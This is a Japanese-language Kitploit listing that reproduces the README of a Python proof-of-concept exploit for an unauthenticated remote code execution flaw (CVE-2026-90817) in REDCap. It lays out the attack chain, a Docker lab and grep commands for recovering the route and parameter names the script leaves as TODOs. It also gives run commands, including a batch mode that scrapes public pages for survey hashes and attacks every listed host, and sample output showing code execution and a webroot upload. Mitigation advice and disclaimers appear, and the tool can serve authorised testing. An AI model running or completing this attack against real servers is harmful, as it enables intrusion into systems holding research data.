Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-90817 — CVE-2026-90817 の Python PoC。survey passthrough routing と file-path injection を悪用した未認証の REDCap RCE で、Docker ラボと allowlist で保護されたターゲットを備えています。 | Kitploit
ツール/GitHubGitHub/exdev994/cve-2026-90817
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツールペイロード開発ラボと実践
GitHubexdev994/cve-2026-90817

CVE-2026-90817

CVE-2026-90817 の Python PoC。survey passthrough routing と file-path injection を悪用した未認証の REDCap RCE で、Docker ラボと allowlist で保護されたターゲットを備えています。

リポジトリを見る
7時間50分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-90817 — REDCap 未認証 RCE PoC (許可された使用のみ)

許可された使用のみ。 すべてのターゲットに対する法的な許可については、あなたが責任を負います。第三者の REDCap インスタンスに対する未許可の使用は違法です。

脆弱性の概要

項目値
CVECVE-2026-90817
製品Vanderbilt University REDCap
CVSS9.8 Critical
認証未認証 (有効な公開アンケートハッシュが必要)
影響を受けるバージョンREDCap 13.3.0 以降
修正済み16.0.49 LTS、17.3.10 LTS、17.4.4 Standard Release
CWECWE-73 (ファイル名またはパスの外部制御)、CWE-94 (コードインジェクション)

攻撃チェーン:

  1. REDCap インスタンスから有効な公開アンケートハッシュを取得する。
  2. アンケートパススルールーティングを経由して、意図しないコントローラールートに到達するよう HTTP リクエストを操作する。
  3. データインポート処理中に、細工されたファイルパス/ストリームパラメータを供給する。
  4. REDCap サーバー上でリモートコード実行を達成する。

プロジェクト構成

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (単一ターゲット、allowlist で保護)
├── docker-compose.yml       # MySQL + PHP-Apache ラボスタック
├── redcap-init/
│   ├── database.php         # ラボ用 REDCap DB 設定
│   └── php.ini              # ラボ用 PHP 設定
├── redcap-src/              # <-- ここに REDCap ソースを展開 (あなたが用意)
├── targets.txt              # 許可されたターゲット: 1 行に 1 ホスト
├── payload.txt              # アップロードモード用のサンプルファイル
├── requirements.txt         # Python 依存関係
└── poc_results.txt          # PoC 実行後に生成

前提条件

  • Docker および Docker Compose
  • Python 3.9+
  • Vanderbilt REDCap consortium から入手した REDCap ソース zip (脆弱なバージョン、例: 14.x または 15.x)

REDCap はライセンスされたソフトウェアです。自分のラボ用に公式チャネルを通じて入手する必要があります。

ラボのセットアップ

1. REDCap ソースの展開

root@kitploit:~
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

2. ラボ環境の起動

root@kitploit:~
docker compose up -d

MySQL のヘルスチェックが通るまで待ち、次を開きます:

root@kitploit:~
http://localhost:8080

以下のデータベース設定 (redcap-init/database.php に事前設定済み) を使用して REDCap インストールウィザードを完了します:

設定値
Hostdb
Databaseredcap
Userredcap
Passwordredcap123

3. 公開アンケートの作成

  1. 管理者として REDCap にログインします。
  2. 新しいプロジェクトを作成します。
  3. 「Use surveys in this project」を有効にします。
  4. 公開アンケートリンクを開き、URL からハッシュをコピーします (パラメータ s=) 。

アンケート URL の例:

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

アンケートハッシュ: ABC123XYZ

リバースエンジニアリング (プレースホルダーの記入)

公開アドバイザリでは、正確なコントローラールートやパラメータ名は開示されていません。ラボをセットアップした後、redcap-src/ に対して RE を実行し、poc_cve_2026_90817.py 内の TODO 定数を記入してください:

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

RE のガイダンス

アンケートパススルールーティングを検索します:

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

データインポートのファイルパス/ストリーム処理を検索します:

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

STAGE1_SUCCESS_MARKER を、ステージ 1 の成功レスポンスに含まれる文字列に設定します (任意ですが推奨) 。

Python 依存関係のインストール

root@kitploit:~
pip install -r requirements.txt

PoC の実行

このスクリプトは、ラボホスト (localhost、127.0.0.1、::1、*.local、*.test、*.localhost) でも targets.txt に記載されてもいないターゲットを拒否します。

アンケートハッシュ

CVE-2026-90817 は 未認証 です — ログインは不要です。唯一の前提条件は、有効な公開アンケートハッシュ (アンケート URL ?s=HASH から) です。

このツールは、ターゲットの公開ページをスクレイピングすることでアンケートハッシュを 自動検出 できます (ベストエフォート) 。一般的な REDCap エンドポイント (/、/redcap/、/index.php、/surveys/) で /surveys/?s=HASH リンクをチェックします。これは、ターゲットがアンケートリンクを公開している (設定ミスの) 場合にのみ機能します。適切に設定された REDCap インスタンスでは、--hash で手動でハッシュを指定してください。

  • 単一ターゲットモード: --hash は任意 (省略時は自動検出)
  • バッチモード: ターゲットごとに自動検出。アンケートリンクを公開していないターゲットはスキップされます

許可されたターゲット (非ラボ)

非ラボのターゲットの場合、targets.txt を 1 行に 1 ホスト (FQDN または IP) で作成します。記載されたすべてのホストに対する法的な許可については、あなたが責任を負います。

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

例

ハッシュを明示したラボターゲット:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

ハッシュを自動検出するラボターゲット:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

バッチモード (targets.txt 内のすべてのホストを反復)

--batch を追加すると、targets.txt に記載されたすべてのホストを自動的に攻撃します。このツールは、公開ページをスクレイピングすることでターゲットごとにアンケートハッシュを自動検出します。このツールは開始前にすべてのターゲットを表示し、確認を求めます (スクリプト用にプロンプトをスキップするには --yes を使用) 。

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

ポートは --target から継承されます (デフォルト 8080) 。別のポートを使用するには、--batch の前に --target http://placeholder:443/ を設定します。

各ターゲットの結果は出力ファイルに追記されます。最後にサマリーが表示されます: N success, M failed, T total。

引数

引数デフォルト説明
--targethttp://localhost:8080ターゲットのベース URL
--hash(任意)公開アンケートハッシュ。省略時は公開ページのスクレイピングにより自動検出 (ベストエフォート) 。
--allowlisttargets.txtターゲットファイル、1 行に 1 ホスト
--batchoffターゲットファイル内のすべてのホストを反復してそれぞれを攻撃
--yesoffバッチ確認プロンプトをスキップ
--modebothid、upload、または both
--outpoc_results.txt結果ログファイル
--timeout30HTTP タイムアウト (秒)
--upload-localpayload.txtアップロードするローカルファイル
--upload-remoteuploaded_payload.txtwebroot 配下のリモートファイル名
--skip-placeholder-checkoffTODO 定数を記入せずに HTTP フローをドライラン

注: 自動検出は、アンケートリンクを公開しているターゲットでのみ機能します。ほとんどの REDCap インスタンスでは、--hash を手動で指定してください。

期待される出力

成功時、stdout には次が表示されます:

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

結果は poc_results.txt に追記されます:

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

緩和策

REDCap 16.0.49 LTS、17.3.10 LTS、または 17.4.4 Standard Release (該当するもの) にアップグレードしてください。

追加のハードニング:

  • 必要でない場合は、公開アンケートの露出を制限します。
  • アンケートルートおよびデータインポートエンドポイントを対象とする HTTP リクエストを監視します。
  • インポートハンドラーにおけるファイルパス/ストリームパラメータのサーバー側検証をレビューします。

参考資料

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • 発見者: Ryan Wincey (@rwincey, Securifera)
ツールをダウンロード